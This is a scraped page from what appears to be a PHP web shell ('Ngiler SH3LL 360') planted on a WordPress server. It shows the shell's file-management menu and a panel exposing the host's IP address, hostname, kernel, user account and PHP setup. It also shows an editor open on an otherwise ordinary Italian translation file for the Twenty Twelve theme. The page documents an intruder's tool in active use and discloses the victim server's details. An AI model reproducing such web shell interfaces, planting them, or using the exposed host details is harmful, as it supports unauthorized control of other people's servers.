Ngiler SH3LL 360
Home
Information
Create File
Create Folder
:
/
home
/
tbf
/
public_html_old
/
wp-content
/
languages
/
themes
/
Information Server
MySQL :
OFF
Perl :
OFF
CURL :
ON
WGET :
OFF
PKEXEC :
OFF
Directive
Local Value
IP Address
89.40.16.97
System
Linux server.atelieruldeit.ro 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User
tbf
PHP Version
7.3.33
Software
Apache
Doc root
Writable
close
Edit File :
twentytwelve-it_IT.po
| Size :
10.28
KB
Copy
# Translation of Themes - Twenty Twelve in Italian # This file is distributed under the same license as the Themes - Twenty Twelve package. msgid "" msgstr "" "PO-Revision-Date: 2020-07-25 09:32:40+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/3.0.0-alpha.2\n" "Language: it\n" "Project-Id-Version: Themes - Twenty Twelve\n" #: functions.php:454 msgid "Your comment is awaiting moderation. This is a preview, your comment will be visible after it has been approved." msgstr "Il tuo commento è in attesa di moderazione. Questa è un'anteprima, il tuo commento sarà visibile dopo esser stato approvato." #. translators: %s: The post title. #: comments.php:35 msgid "One thought on “%s”" msgstr "Un pensiero su “%s”" #: functions.php:94 msgid "White" msgstr "Bianco" #: functions.php:89 msgid "Light Gray" msgstr "Grigio chiaro" #: functions.php:84 msgid "Medium Gray" msgstr "Grigio medio" #: functions.php:79 msgid "Dark Gray" msgstr "Grigio scuro" #: functions.php:74 msgid "Blue" msgstr "Blu" #. translators: %s: Tag title. #: tag.php:24 msgid "Tag Archives: %s" msgstr "Archivi tag: %s" #: single.php:25 msgctxt "Next post link" msgid "→" msgstr "→" #: single.php:24 msgctxt "Previous post link" msgid "←" msgstr "←" #: search.php:46 msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords." msgstr "Siamo spiacenti ma non è disponibile alcun elemento corrispondente ai criteri di ricerca inseriti. Riprovare con parole chiave diverse." #. translators: %s: Search query. #: search.php:21 msgid "Search Results for: %s" msgstr "Risultati della ricerca di: %s" #. translators: %s: Post editor URL. #: index.php:49 msgid "Ready to publish your first post? <a href=\"%s\">Get started here</a>." msgstr "Pronti per la pubblicazione del primo articolo? <a href=\"%s\">Iniziare da qui</a>." #: index.php:42 msgid "No posts to display" msgstr "Nessun articolo da visualizzare" #: image.php:47 msgid "Next →" msgstr "Prossimo →" #: image.php:46 msgid "← Previous" msgstr "← Precedente" #. translators: 1: Date, 2: Date, 3: Attachment URL, 4: Image width in pixels, #. 5: Image height in pixels, 6: Post parent permalink, 7: Post parent title, #. 8: Post parent title. #: image.php:31 msgid "<span class=\"meta-prep meta-prep-entry-date\">Published </span> <span class=\"entry-date\"><time class=\"entry-date\" datetime=\"%1$s\">%2$s</time></span> at <a href=\"%3$s\" title=\"Link to full-size image\">%4$s × %5$s</a> in <a href=\"%6$s\" title=\"Return to %7$s\" rel=\"gallery\">%8$s</a>." msgstr "<span class=\"meta-prep meta-prep-entry-date\">Pubblicato </span> <span class=\"entry-date\"><time class=\"entry-date\" datetime=\"%1$s\">%2$s</time></span> alle <a href=\"%3$s\" title=\"Link all'immagine a grandezza naturale\">%4$s × %5$s</a> in <a href=\"%6$s\" title=\"Torna a %7$s\" rel=\"gallery\">%8$s</a>." #: header.php:45 msgid "Skip to content" msgstr "Vai al contenuto" #: header.php:44 msgid "Menu" msgstr "Menu" #. translators: 3: Date, 4: Author display name. #: functions.php:530 msgid "This entry was posted on %3$s<span class=\"by-author\"> by %4$s</span>." msgstr "Questo articolo è stato pubblicato il %3$s<span class=\"by-author\"> da %4$s</span>." #. translators: 1: Category name, 3: Date, 4: Author display name. #: functions.php:527 msgid "This entry was posted in %1$s on %3$s<span class=\"by-author\"> by %4$s</span>." msgstr "Questo articolo è stato pubblicato in %1$s il %3$s<span class=\"by-author\"> da %4$s</span>." #. translators: 1: Category name, 2: Tag name, 3: Date, 4: Author display name. #: functions.php:524 msgid "This entry was posted in %1$s and tagged %2$s on %3$s<span class=\"by-author\"> by %4$s</span>." msgstr "Questo articolo è stato pubblicato in %1$s e taggato come %2$s il %3$s<span class=\"by-author\"> da %4$s</span>" #. translators: %s: Author display name. #: functions.php:518 msgid "View all posts by %s" msgstr "Visualizza tutti gli articoli di %s" #. translators: Used between list items, there is a space after the comma. #: functions.php:501 functions.php:504 msgid ", " msgstr ", " #: functions.php:473 msgid "Reply" msgstr "Rispondi" #: functions.php:452 msgid "Your comment is awaiting moderation." msgstr "Il commento è in attesa di moderazione." #. translators: 1: Date, 2: Time. #: functions.php:444 msgid "%1$s at %2$s" msgstr "%1$s alle %2$s" #: functions.php:437 msgid "Post author" msgstr "Autore articolo" #: functions.php:421 msgid "(Edit)" msgstr "(Modifica)" #: functions.php:421 msgid "Pingback:" msgstr "Pingback:" #: functions.php:395 msgid "Newer posts <span class=\"meta-nav\">→</span>" msgstr "Articoli più recenti <span class=\"meta-nav\">→</span>" #: functions.php:394 msgid "<span class=\"meta-nav\">←</span> Older posts" msgstr "<span class=\"meta-nav\">←</span> Articoli più vecchi" #: functions.php:393 single.php:23 msgid "Post navigation" msgstr "Navigazione articolo" #: functions.php:370 msgid "Second Front Page Widget Area" msgstr "Seconda area widget pagina iniziale" #: functions.php:360 functions.php:372 msgid "Appears when using the optional Front Page template with a page set as Static Front Page" msgstr "Sembra che tu stia usando il template di Pagina iniziale opzionale con una pagina impostata come Pagina statica inziale" #: functions.php:358 msgid "First Front Page Widget Area" msgstr "Prima area widget pagina iniziale" #: functions.php:348 msgid "Appears on posts and pages except the optional Front Page template, which has its own widgets" msgstr "Appare negli articoli e nelle pagine ad eccezione del template della Pagina principale che ha i propri widget" #: functions.php:346 msgid "Main Sidebar" msgstr "Barra laterale principale" #. translators: %s: Page number. #: functions.php:314 msgid "Page %s" msgstr "Pagina %d" #: functions.php:159 msgctxt "Open Sans font: add new subset (greek, cyrillic, vietnamese)" msgid "no-subset" msgstr "nessun-subset" #: functions.php:152 msgctxt "Open Sans font: on or off" msgid "on" msgstr "on" #: functions.php:108 msgid "Primary Menu" msgstr "Menu principale" #. translators: %s: WordPress #: footer.php:24 msgid "Proudly powered by %s" msgstr "Proudly powered by %s" #: footer.php:21 msgid "Semantic Personal Publishing Platform" msgstr "Piattaforma personale di pubblicazione semantica" #. translators: %s: Author display name. #: content.php:85 msgid "View all posts by %s <span class=\"meta-nav\">→</span>" msgstr "Visualizza tutti gli articoli di %s <span class=\"meta-nav\">→</span>" #: content.php:16 msgid "Featured post" msgstr "Articolo in evidenza" #: content.php:50 image.php:124 content-page.php:24 msgid "Pages:" msgstr "Pagine:" #: index.php:63 content-none.php:17 msgid "Apologies, but no results were found. Perhaps searching will help find a related post." msgstr "Ci spiace, ma non è stato trovato alcun risultato. Forse una ricerca potrebbe aiutarti a trovare un articolo correlato." #: index.php:59 content-none.php:13 search.php:42 msgid "Nothing Found" msgstr "Non è stato trovato nulla" #: content-link.php:15 msgid "Link" msgstr "Link" #: content-status.php:43 content-quote.php:26 content.php:60 #: content-image.php:26 image.php:42 content-page.php:31 content-link.php:27 #: functions.php:464 content-aside.php:29 msgid "Edit" msgstr "Modifica" #: content-status.php:40 content-quote.php:23 content.php:35 #: content-image.php:23 content-link.php:24 content-aside.php:26 msgid "% Replies" msgstr "% Repliche" #: content-status.php:40 content-quote.php:23 content.php:35 #: content-image.php:23 content-link.php:24 content-aside.php:26 msgid "1 Reply" msgstr "1 Replica" #: content-status.php:40 content-quote.php:23 content.php:35 #: content-image.php:23 content-link.php:24 content-aside.php:26 msgid "Leave a reply" msgstr "Lascia una risposta" #. translators: %s: Post title. #: content-status.php:11 content-quote.php:11 content-link.php:11 #: content-aside.php:11 msgid "Permalink to %s" msgstr "Permalink a %s" #: content-status.php:34 content-quote.php:16 content.php:46 #: content-image.php:13 content-link.php:17 content-aside.php:18 msgid "Continue reading <span class=\"meta-nav\">→</span>" msgstr "Continua a leggere<span class=\"meta-nav\">→</span>" #: comments.php:75 msgid "Comments are closed." msgstr "I commenti sono chiusi." #: comments.php:64 msgid "Newer Comments →" msgstr "Commenti più recenti →" #: comments.php:63 msgid "← Older Comments" msgstr "← Commenti meno recenti" #: comments.php:62 msgid "Comment navigation" msgstr "Navigazione commenti" #. translators: %1$s: The number of comments. %2$s: The post title. #: comments.php:41 msgid "%1$s thought on “%2$s”" msgid_plural "%1$s thoughts on “%2$s”" msgstr[0] "%1$s pensiero su “%2$s”" msgstr[1] "%1$s pensieri su “%2$s”" #. translators: %s: Category title. #: category.php:24 msgid "Category Archives: %s" msgstr "Archivi categoria: %s" #. translators: Author display name. #. translators: %s: Author display name. #: author.php:74 content.php:77 msgid "About %s" msgstr "Informazioni su %s" #. translators: Author display name. #: author.php:36 msgid "Author Archives: %s" msgstr "Archivi autore: %s" #: archive.php:39 msgid "Archives" msgstr "Archivi" #. translators: %s: Date. #: archive.php:37 msgctxt "yearly archives date format" msgid "Y" msgstr "Y" #. translators: %s: Date. #: archive.php:37 msgid "Yearly Archives: %s" msgstr "Archivi annuali: %s" #. translators: %s: Date. #: archive.php:34 msgctxt "monthly archives date format" msgid "F Y" msgstr "F Y" #. translators: %s: Date. #: archive.php:34 msgid "Monthly Archives: %s" msgstr "Archivio mensile:%s" #. translators: %s: Date. #: archive.php:31 msgid "Daily Archives: %s" msgstr "Archivi giornalieri: %s" #: 404.php:21 msgid "It seems we can’t find what you’re looking for. Perhaps searching can help." msgstr "Non riusciamo a trovare quello che cerchi. Forse eseguire una ricerca potrebbe essere di aiuto." #: 404.php:17 msgid "This is somewhat embarrassing, isn’t it?" msgstr "Questo è leggermente imbarazzante, non è vero?" #. Author URI of the theme #: footer.php:21 msgid "https://wordpress.org/" msgstr "https://wordpress.org/"
Back